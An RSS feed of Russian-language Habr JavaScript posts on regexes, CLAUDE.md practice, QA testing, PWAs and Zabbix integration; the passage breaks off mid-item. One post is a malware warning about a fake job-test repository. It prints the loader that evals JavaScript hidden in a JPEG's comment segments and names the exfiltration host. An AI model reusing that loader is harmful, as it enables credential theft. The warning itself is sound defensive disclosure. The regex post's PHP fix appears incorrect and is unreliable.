<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" >

  <channel>
    <title><![CDATA[Все посты подряд / JavaScript / Хабр]]></title>
    <link>https://habr.com/ru/hubs/javascript/posts/</link>
    <description><![CDATA[JavaScript – прототипно-ориентированный язык программирования]]></description>
    <language>ru</language>
    <managingEditor>editor@habr.com</managingEditor>
    <generator>habr.com</generator>
    <pubDate>Wed, 24 Jun 2026 01:21:01 GMT</pubDate>
    
    
      <image>
        <link>https://habr.com/ru/</link>
        <url>https://habrastorage.org/webt/ym/el/wk/ymelwk3zy1gawz4nkejl_-ammtc.png</url>
        <title>Хабр</title>
      </image>
    

    
      
        
    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — Open source (+4) — 22.06.2026 12:57]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1050360/</guid>
    <link>https://habr.com/ru/posts/1050360/?utm_campaign=1050360&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Представлен открытый проект <a href="https://github.com/navidrome/navidrome" rel="noopener noreferrer nofollow">Navidrome Music Server</a>, который позволяет слушать музыку с ПК где угодно. Работает очень просто: пользовательский ПК превращается в сервер, к которому можно получить доступ с любого устройства. Есть<a href="https://www.navidrome.org/demo/" rel="noopener noreferrer nofollow"> демо-версия</a> проекта, чтобы понять принцип работы.</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/481/a29/aca/481a29acab7b3f504c37a6550a236f0f.jpg" width="1280" height="617"></figure> <a href="https://habr.com/ru/posts/1050360/?utm_campaign=1050360&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 22 Jun 2026 09:57:11 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[Navidrome Music Server]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Ra2007 — Искусственный интеллект (+1) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1046171/</guid>
    <link>https://habr.com/ru/posts/1046171/?utm_campaign=1046171&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/f00/a7b/bed/f00a7bbed53f43c5c739472e3c3843be.png" alt="Что меняет Claude Code через N месяцев в проде" title="Что меняет Claude Code через N месяцев в проде" width="1600" height="840"><div><figcaption>Что меняет Claude Code через N месяцев в проде</figcaption></div></figure><p>Что меняет Claude Code через N месяцев в проде</p><p>Первые недели с Claude Code: эйфория. Пишешь промпт, получаешь код, который работает. Думаешь: всё, нашёл суперсилу.</p><p>Через N месяцев понимаешь что почти всё, что казалось очевидным в начале, работает иначе.</p><p><strong>Я думал: чем больше правил в <a href="http://CLAUDE.md" rel="noopener noreferrer nofollow">CLAUDE.md</a>, тем лучше</strong></p><p>Оказалось: агент перегружается и начинает игнорировать правила избирательно. Мой <a href="http://CLAUDE.md" rel="noopener noreferrer nofollow">CLAUDE.md</a> вырос до 8000 слов и стал работать хуже чем на 2000. Теперь: конкретные примеры из кода вместо абстрактных запретов. «Вот как мы делаем, вот что сломалось в прошлый раз» бьёт «никогда не используй X» в любой ситуации.</p><p><strong>Я думал: агент выполнит то что попросили</strong></p><p>Оказалось: агент соглашается с задачей, но реализует по-своему. Особенно на архитектурных решениях. Промпт строже не помогает. Помогают примеры из нашей кодовой базы. 200к строк TypeScript как контекст работают лучше любого правила.</p><p><strong>Я думал: контекст это просто «открытые файлы»</strong></p><p>Оказалось: когда агент начинает галлюцинировать — задача слишком большая. Контекст это не «открытые файлы», а активное управление объёмом. Теперь делю на подзадачи до старта, а не когда уже сломалось.</p><p><strong>Я думал: skills это просто промпты в файлах</strong></p><p>Оказалось: skills это lazy-loading для контекста. Агент подтягивает только то что нужно для конкретной задачи. После перехода с монолитного <a href="http://CLAUDE.md" rel="noopener noreferrer nofollow">CLAUDE.md</a> на skills расход токенов за сессию упал на 30–40%. И точность выросла, меньше лишнего в голове.</p><p><strong>Я думал: AI-ревью заменит рутину</strong></p><p>Оказалось: агент хорошо видит синтаксические и логические ошибки, но пропускает архитектурный дрейф. «Код работает, но растёт не туда» он не замечает. Human-in-the-loop на архитектурных решениях: не опция.</p><p>Через N месяцев Claude Code перестаёт быть инструментом для разовых запросов. Он становится партнёром. Общий язык: примеры из кода, границы модулей, точки где ты проверяешь а не доверяешь.</p><p>Это требует времени. Но после скорость другая.</p><p>Пишу об этом подробнее в канале <a href="https://t.me/ai_in_prod" rel="noopener noreferrer nofollow">@ai_in_prod</a></p> <a href="https://habr.com/ru/posts/1046171/?utm_campaign=1046171&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 10 Jun 2026 15:55:56 GMT</pubDate>
    <dc:creator><![CDATA[Ra2007]]></dc:creator>
      
      <category><![CDATA[claude code]]></category><category><![CDATA[CLAUDE.md]]></category><category><![CDATA[ai в продакшене]]></category><category><![CDATA[llm]]></category><category><![CDATA[личный опыт]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Uhhahh — Python (+3) — 09.06.2026 01:42]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1045222/</guid>
    <link>https://habr.com/ru/posts/1045222/?utm_campaign=1045222&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.</p><pre><code class="python">re.match(r"^abc$", "abc\n") # python</code></pre><pre><code class="javascript">/^abc$/.test("abc\n") // Javascript</code></pre><pre><code class="php">preg_match("/^abc$/", "abc\n"); // PHP</code></pre><p>Не читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?</p><p>False?</p><p>True ?</p><p>Правильный ответ:</p><pre><code>False
True
False</code></pre><p>Живите с этим :)</p><p>Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.</p><p>Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.</p><p>Правильный regex для точного совпадения с концом строки:</p><pre><code class="python">re.match(r"^abc\Z", "abc\n")</code></pre><pre><code class="javascript">// javascript идеален, нечего исправлять :)</code></pre><pre><code class="php">preg_match("/^abc\p/", "abc\n")</code></pre><p>== false</p> <a href="https://habr.com/ru/posts/1045222/?utm_campaign=1045222&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 08 Jun 2026 22:42:54 GMT</pubDate>
    <dc:creator><![CDATA[Uhhahh]]></dc:creator>
      
      <category><![CDATA[regexp]]></category><category><![CDATA[regex]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Ra2007 — Искусственный интеллект (+2) — 03.06.2026 09:30]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1042974/</guid>
    <link>https://habr.com/ru/posts/1042974/?utm_campaign=1042974&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>5 ошибок в CLAUDE.md, которые я сделал за полгода</p><p>Использую CLAUDE.md с ноября 2024 года. За это время успел наступить на все грабли, на которые только можно. Вот пять конкретных ошибок, которые стоили времени и денег.</p><p><strong>Ошибка 1: Засунул всё в один файл</strong></p><p>К марту файл вырос до 40к символов. Архитектурные решения, стайл-гайд, правила тестирования, примеры промптов, доменная модель, онбординг. Всё это съедало 13% контекстного окна на каждый запрос. Claude начал «забывать» вещи из середины файла, потому что трансформер физически хуже удерживает контекст в середине.</p><p>Починил просто: CLAUDE.md только постоянный контекст, до 8к символов. Остальное в отдельные файлы, загружаются по запросу.</p><p><strong>Ошибка 2: Писал «как надо» вместо «что нельзя»</strong></p><p>«Используй Clean Architecture», «следуй DDD», «пиши читаемый код». Claude кивал и делал по-своему. Переформулировал в запреты: «Не используй any в TypeScript», «Не создавай сервисы с зависимостями от конкретных реализаций». Следующий же день показал разницу.</p><p><strong>Ошибка 3: Не добавил антипаттерны явно</strong></p><p>Написал «мы используем NestJS», но не написал «мы не используем class-validator для бизнес-валидации, только на уровне DTO». Claude честно добавлял его куда попало, потому что это «правильный NestJS». Теперь раздел «Запрещено» занимает треть файла.</p><p><strong>Ошибка 4: Обновлял раз в квартал</strong></p><p>Перешли с Express на NestJS в феврале, обновил CLAUDE.md только в апреле. Два месяца файл врал, и Claude иногда предлагал Express-паттерны. Теперь правило: любое архитектурное решение, принятое на ревью, идёт в CLAUDE.md в тот же день.</p><p><strong>Ошибка 5: Не добавил примеры кода</strong></p><p>«Используй Repository pattern» работает хуже, чем «Используй Repository pattern вот так:» плюс три строки реального кода из проекта. Без примера Claude угадывает что вы имеете в виду. Угадывает плохо.</p><p>После всех исправлений: файл 6к символов, ответы точнее, меньше правок на ревью.</p><p>Какую ошибку делали чаще всего?</p> <a href="https://habr.com/ru/posts/1042974/?utm_campaign=1042974&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 03 Jun 2026 06:30:24 GMT</pubDate>
    <dc:creator><![CDATA[Ra2007]]></dc:creator>
      
      <category><![CDATA[claude]]></category><category><![CDATA[claude-code]]></category><category><![CDATA[claude.md]]></category><category><![CDATA[ai-инструменты]]></category><category><![CDATA[llm]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Ariless — Тестирование IT-систем (+3) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1041438/</guid>
    <link>https://habr.com/ru/posts/1041438/?utm_campaign=1041438&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Почему тесты проходят, но система всё равно сломана</strong></p><p><em>Классы скрытых ошибок в QA automation, которые не приводят к падению CI</em></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/041/04b/b76/04104bb76951faf1b1ef5386cdba7dee.png" width="1000" height="420"></figure><p>Пайплайн прошёл. Логи без ошибок. Значит всё работает.</p><p>Но в реальных QA automation системах это предположение часто не выдерживает проверки.</p><p><strong>Тесты могут проходить, даже если система сломана.</strong></p><p>И это не редкий edge case. Есть несколько типов проблем, которые не приводят к падению CI:</p><ul><li><p><strong><em>False positives</em>&nbsp;— </strong>тест подтверждает поведение, которое уже не&nbsp;соответствует бизнес‑логике. Проверка формально зелёная, смысл потерян.</p></li><li><p><strong><em>Missing assertions</em></strong>&nbsp;— тест проходит, потому что&nbsp;не&nbsp;проверяет ничего критичного.</p></li><li><p><strong>Flaky suppression</strong>&nbsp;— флаки ретраят или&nbsp;игнорируют. Шум скрывает реальные проблемы, CI выглядит стабильным.</p></li><li><p><strong><em>Duplicated execution</em></strong>&nbsp;— один и тот&nbsp;же набор тестов запускается несколько раз из‑за конфигурации runner'а.</p></li><li><p><strong><em>Contract drift</em></strong>&nbsp;— API или&nbsp;поведение системы меняется, но&nbsp;тесты продолжают проверять старые ожидания. Пока не&nbsp;появится явный конфликт&nbsp;— всё зелёное.</p></li></ul><p>В проекте была добавлена пагинация к одному из API эндпоинтов. До изменения ответ выглядел так:</p><pre><code>json [{ "id": 1 }, { "id": 2 }]</code></pre><p>После — так:</p><pre><code>{ "data": [...], "total": 10, "page": 1, "limit": 20 }</code></pre><p>API тесты не упали: они проверяли статус и структуру нового формата — всё корректно. </p><p>Я  была уверена что если API возвращает 200 и схема верна — клиент получает данные. </p><p>Но в клиентском коде была строка:</p><pre><code>cachedRows = Array.isArray(rows) ? rows : []</code></pre><p>Для объекта <code>Array.isArray </code>возвращает <code>false</code>. Список записей стал пустым.</p><p>Формально всё работало корректно. Просто данных больше не было.Никаких ошибок в консоли. Никакого 500. Просто пустая страница. </p><p>CI остался зелёным — потому что API тесты проверяли API, а не то, как клиент использует ответ.</p><p>Дальше сработал каскад: fixture teardown тоже вызывал этот эндпоинт, получал объект вместо массива, не чистил данные — и следующие тесты падали с совершенно другой ошибкой, в совершенно другом файле.</p><p>Три теста упали из-за одного изменения shape ответа.</p><p>Ни один из них не указал на настоящую причину.</p><p><strong>Почему CI это не ловит</strong></p><p>CI отвечает на вопрос: «выполнились&nbsp;ли тесты без&nbsp;ошибок?»</p><p>Но не отвечает на: «имеют&nbsp;ли тесты смысл относительно текущей системы?»</p><p>CI реагирует только на падения. Он не знает про бизнес-инварианты, не отслеживает правильность выполнения и не видит contract drift.</p><p><strong>Что с этим делают в зрелых системах</strong></p><p>Начинают появляться дополнительные слои:</p><ul><li><p>контрактные тесты (contract testing) — фиксируют ожидания потребителя API </p></li><li><p>явно наблюдаемость тестов — метрики не как %, а как сигналы поведения</p></li><li><p>контроль изменений API через diff-инструменты</p></li></ul><p>Ни один из них не заменяет хорошие тесты. Но каждый закрывает слепое пятно, которое тесты не видят.</p><p><strong>Финальный вывод</strong></p><p>Тесты не доказывают, что система работает.</p><p>Они только доказывают, что система не сломалась определённым способом.</p><p><strong>Признаки сбоя</strong></p><ul><li><p>CI зелёный </p></li><li><p>UI показывает пустой список</p></li><li><p>API возвращает 200</p></li><li><p>fixture teardown не чистил данные, занимал слот</p></li></ul><p><strong>Скрытое предположение </strong></p><p>«Я решила что&nbsp;статус 200&nbsp;означает, что&nbsp;потребитель по‑прежнему правильно читает ответ»</p><p><strong>Как это выглядит в реальной системе</strong></p><p>Contract drift — один из тех классов ошибок, которые можно воспроизвести намеренно. В проекте есть buggy branch именно с этим кейсом: API возвращает изменённый shape ответа, все API тесты зелёные, но клиентский код получает пустой список — без ошибок, без 500, просто тишина.</p><p>Код и структура проекта: <a href="https://github.com/Ariless/clinic-booking-api-tests" rel="noopener noreferrer nofollow">GitHub</a></p><p>Из серии «Тихие отказы в тест-автоматизации»</p><p>Разборы таких кейсов с кодом — в Telegram-канале <a href="https://t.me/qa_as_a_system" rel="noopener noreferrer nofollow">Тесты как система</a></p> <a href="https://habr.com/ru/posts/1041438/?utm_campaign=1041438&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 02 Jun 2026 09:20:58 GMT</pubDate>
    <dc:creator><![CDATA[Ariless]]></dc:creator>
      
      <category><![CDATA[qa automation]]></category><category><![CDATA[contract drift]]></category><category><![CDATA[api testing]]></category><category><![CDATA[тестирование]]></category><category><![CDATA[playwright]]></category><category><![CDATA[contract testing]]></category><category><![CDATA[Array.isArray]]></category><category><![CDATA[continuous integration]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @VamWebStore — JavaScript (+4) — 28.05.2026 14:47]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1040640/</guid>
    <link>https://habr.com/ru/posts/1040640/?utm_campaign=1040640&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/60e/532/235/60e5322355cb5b5ebe767ef10a11f5d2.png" width="1536" height="1024"></figure><blockquote><p>Насколько сложный проект можно сделать бесплатно в 2026 году?</p></blockquote><p>Всем привет! <br>Часто вокруг пишут, как ИИ помогает им «сделать SaaS за выходные», хайпят свои проекты и рассказывают про «миллион фич». Решил я проверить: а что реально можно сделать в 2026 году, если использовать только бесплатные тарифы и не тратить деньги?</p><p>Спойлер: получилось достаточно много.</p><p>Проект полностью экспериментальный — положится в портфолио.</p><p>Я решил сделать большой каталог, и выбрал в качестве товара приложения — PWA приложения — вдохновлялся App Store.</p><p>Что в итоге умеет платформа</p><p>Для пользователей:</p><p>- Личный кабинет с библиотекой своих приложений и избранным</p><p>- Можно оставлять комментарии, отзывы, лайки</p><p>- Сортировка по категориям, похожим на те, что в App Store</p><p>- Поиск приложений умный, использует векторное пространство имен от Google</p><p>- Приложения ранжируются по рейтингу — расчет по известной байесовской формуле — учитывает количество установок, отзывов, лайков и качество комментариев</p><p>- Задействованы, кажется, все методы установки на топ известных браузеров: от новой (2024) в один клик прямо с нашей платформы — для обладателей Chrome на ПК/Android — до пошаговых интерактивных инструкций в тех браузерах, где установка сложна или запутана</p><p>- 20 языков, 2 темы, работает офлайн. Сама платформа — тоже PWA.</p><p>Для разработчиков:</p><p>- Полноценный кабинет разработчика: управление/настройка приложений</p><p>- ИИ-перевод на 20 языков при публикации</p><p>- Импорт данных приложения со страниц AppStore и RuStore</p><p>- Автогенерация промо-картинки приложения + автопубликация в Pinterest</p><p>- Встраиваемый install-скрипт — один тег &lt;script&gt; на сайте разработчика добавляет умную кнопку установки</p><p>- 3 разных способа верификации приложений</p><p>Контентная часть:</p><p>- Масштабируемые промо-лендинги о преимуществах PWA</p><p>- Статьи-гайды по установке популярных приложений</p><p>- Для админа тоже есть свой интерфейс с множеством настроек</p><blockquote><p>БД (Postgres + pgvector) <br>Supabase — $0</p><p>Серверные функции <br>Vercel + Edge Functions — $0</p><p>Фронтенд <br>Vercel — $0</p><p>ИИ с API (переводы, эмбеддинги)   <br>Gemini — $0</p><p>Умный поиск <br>Google Generative Language API + Gemini   </p><p>Email <br>Resend — $0</p><p>Авторизация <br>Supabase Auth (Google, GitHub, Discord, GitLab и др.)   — $0</p></blockquote><p>Есть пару оговорок:</p><p>- Cursor 20$ в месяц — но я и без проекта его покупал</p><p>- и доменное имя <a href="http://wapps.store" rel="noopener noreferrer nofollow">wapps.store</a> — 8$ за год. Можно было использовать то, что предоставляет Vercel бесплатно</p><p>Меня как фронтенд разработчика впечатлил масштаб бесплатных сервисов — да действительно можно реализовать свою задумку и протестировать её на будущих пользователях.</p><p>Однако надо понимать:</p><p>- бесплатные тарифы не потянут каких-то весомых нагрузок</p><p>- вайбкодить, не понимая, что генерирует нейронка — ну такое себе. Она стабильно ошибается каждый 2–3 раз и часто просто делает дикие вещи</p><p>- ну и времени приходится потратить немало, поэтому стоит подумать несколько раз: нужно ли тебе что-то такое просто «потестировать»<br><br>Поделитесь своими примеры или существующими проектами - будет интересно!</p> <a href="https://habr.com/ru/posts/1040640/?utm_campaign=1040640&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 28 May 2026 11:47:14 GMT</pubDate>
    <dc:creator><![CDATA[VamWebStore]]></dc:creator>
      
      <category><![CDATA[pwa]]></category><category><![CDATA[supabase]]></category><category><![CDATA[vercel]]></category><category><![CDATA[gemini]]></category><category><![CDATA[app store]]></category><category><![CDATA[web applications]]></category><category><![CDATA[free tier]]></category><category><![CDATA[saas]]></category><category><![CDATA[vector search]]></category><category><![CDATA[embeddings]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Konstantin_Tyutyunnik — JavaScript (+2) — 27.05.2026 22:30]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1040342/</guid>
    <link>https://habr.com/ru/posts/1040342/?utm_campaign=1040342&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class=""><img src="https://habrastorage.org/webt/5b/0f/66/5b0f66ab101c71112ffac4309d5c3cb6.png"></figure><p><strong>Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса</strong> У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки. </p><p>Очевидные пути отмёл сразу:</p><ul><li><p><strong>Бот или демон</strong> - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.</p></li><li><p><strong>Почта с парсером</strong> - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.</p></li></ul><p>Требование «вернуть id задачи на событие» и определило всю архитектуру.</p><p><strong>Прямое направление: Zabbix → трекер</strong> Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги <code>__zbx_planfix_taskid</code> и <code>__zbx_planfix_link</code>; при <code>process_tags=1</code> они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.</p><p><strong>Что всплыло уже в бою: отмена эскалации</strong> Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: <code>event_value=1</code>, <code>event_update_status=0</code>. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу <code>{EVENT.UPDATE.ACTION}</code>: в первой строке update-сообщения он разворачивается в <code>acknowledged</code> или <code>unacknowledged</code> - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.</p><p><strong>Обратное направление - и оно оказалось самым интересным</strong> Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод <code>event.acknowledge</code> с <code>action=6</code> (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix <strong>от имени этого человека</strong>, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.</p><p><strong>Что ещё пришлось учесть</strong></p><ul><li><p><code>maxsessions=1</code> обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.</p></li><li><p>Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по <code>event_id</code> на стороне трекера обязателен - у меня он пока в планах.</p></li><li><p>Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.</p></li></ul><p><strong>Итог:</strong> ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?</p> <a href="https://habr.com/ru/posts/1040342/?utm_campaign=1040342&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 27 May 2026 19:30:51 GMT</pubDate>
    <dc:creator><![CDATA[Konstantin_Tyutyunnik]]></dc:creator>
      
      <category><![CDATA[zabbix]]></category><category><![CDATA[planfix]]></category><category><![CDATA[планфикс]]></category><category><![CDATA[мониторинг]]></category><category><![CDATA[интеграции]]></category><category><![CDATA[интеграция сервисов]]></category><category><![CDATA[уведомления]]></category><category><![CDATA[тикет-система]]></category><category><![CDATA[задачи]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @okoloboga — JavaScript (+4) — 27.05.2026 18:18]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1040252/</guid>
    <link>https://habr.com/ru/posts/1040252/?utm_campaign=1040252&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер</p><p>Привет, Хабр. Короткий пост-предупреждение.</p><p>Получил отклик на Хабр Карьере на вакансию <strong>fullstack-разработчика заграницу, оклад 4-5к$/мес</strong>. <a href="https://career.habr.com/olegarts12" rel="noopener noreferrer nofollow">Его аккаунт</a> на Хабр Карьера<br>Общение переводят в Telegram, на аккаунт <strong><a class="mention" href="/users/capdice">@capdice</a></strong>. Прислали репозиторий с «тестовым заданием»: компания <strong>Suarts</strong> (домен <strong><a href="http://suarte.art" rel="noopener noreferrer nofollow">suarte.art</a></strong>), <a href="https://github.com/innoartspace/suarts" rel="noopener noreferrer nofollow">репозиторий</a>, задача — «интегрировать криптоплатёжный сервис».</p><p>С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.</p><p>Два артефакта:</p><ul><li><p><strong><code>server/back.jpg</code></strong> — выглядит как JPEG, но в сегментах <code>0xFFFE</code> (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.</p></li><li><p><strong><code>server/app/services/log.service.js</code></strong> — функция <code>addLogsForAssets</code> читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через <code>eval()</code>. Вызов на верхнем уровне модуля — <strong>выполняется при каждом <code>require()</code> сервиса</strong>, до подключения к БД.</p></li></ul><pre><code>function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i &lt; imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));
</code></pre><p>Payload эксфильтрует на <strong><code>cookieshop.cloud/uploads</code></strong> профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с <code>github.com/indygreg/python-build-standalone/releases/</code> (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через <code>spawn(..., {detached: true, windowsHide: true})</code>. Классический браузерный инфостилер: пароли, куки, токены.</p><p><strong>IoC:</strong></p><p>Артефакт SHA-256     <code>server/back.jpg</code> <code>be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4</code>   <code>server/app/services/log.service.js</code> <code>7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740</code>   </p><p>Хост эксфильтрации: <a href="http://cookieshop.cloud" rel="noopener noreferrer nofollow"><code>cookieshop.cloud</code></a></p><p><strong>Если запускал бэкенд.</strong> Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:</p><ul><li><p>Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)</p></li><li><p>Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket</p></li><li><p>Сменить credentials в <code>~/.aws/</code>, <code>~/.config/gcloud</code>, <code>~/.config/heroku</code></p></li><li><p>Завершить все сессии: <a href="https://github.com/settings/sessions" rel="noopener noreferrer nofollow"><code>https://github.com/settings/sessions</code></a></p></li><li><p>Прогнать антивирус</p></li></ul><p><strong>Чек на будущее.</strong> Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. <code>eval()</code> над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (<code>file back.jpg</code>, <code>strings back.jpg | head</code>).</p><p>На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.</p><p>Видели тот же <code>back.jpg</code>, <a href="http://cookieshop.cloud" rel="noopener noreferrer nofollow"><code>cookieshop.cloud</code></a> или <code>@capdice</code> — напишите. </p><p>Более быстрый способ ловить подобные алерты - <a href="https://t.me/post_cybercore" rel="noopener noreferrer nofollow">мой канал</a></p> <a href="https://habr.com/ru/posts/1040252/?utm_campaign=1040252&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 27 May 2026 15:18:39 GMT</pubDate>
    <dc:creator><![CDATA[okoloboga]]></dc:creator>
      
      <category><![CDATA[инфостиллер]]></category><category><![CDATA[скам]]></category><category><![CDATA[малварь]]></category><category><![CDATA[тестовое задание]]></category><category><![CDATA[стеганография]]></category><category><![CDATA[eval]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Dalee_group — Блог компании Далее (+2) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/dalee_group/posts/1032692/</guid>
    <link>https://habr.com/ru/companies/dalee_group/posts/1032692/?utm_campaign=1032692&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/5ec/ec8/db6/5ecec8db6184fdcfb0b51869bc43ed0d.png" width="960" height="540"></figure><p><strong><a href="/ru/companies/dalee_group/news/1032552/" rel="noopener noreferrer nofollow">Далее на Holy JS: собираем новую методологию вместо FSD и деплоим резюме</a></strong></p><p><strong>Друзья, мы собираемся на Holy JS —&nbsp;&nbsp;крупнейшей конфе про разработку с разных ракурсов.&nbsp;</strong></p><p>Дима Дин, фронт-тимлид Далее<br><a href="https://holyjs.ru/talks/3f455ed358ed478382dc603000b2e948/" rel="noopener noreferrer nofollow">«FSD — это беда, спасет только FDA!».</a><br>Доклад с разбором методологий и экспериментом — созданием альтернативной архитектуры, которая будет отвечать ожиданиям разработчиков.&nbsp;<br><em>15.05 / 19.00-19.45 / зал 2</em></p><p>Ника Варако, HR-менеджер Далее&nbsp;<br><a href="https://holyjs.ru/talks/71d61bcaa0b24274b35c8db85f469356/" rel="noopener noreferrer nofollow">«Резюме как продукт: UX, баги и деплой на рынок вакансий»</a>.<br>Воркшоп, на котором Ника покажет примеры и 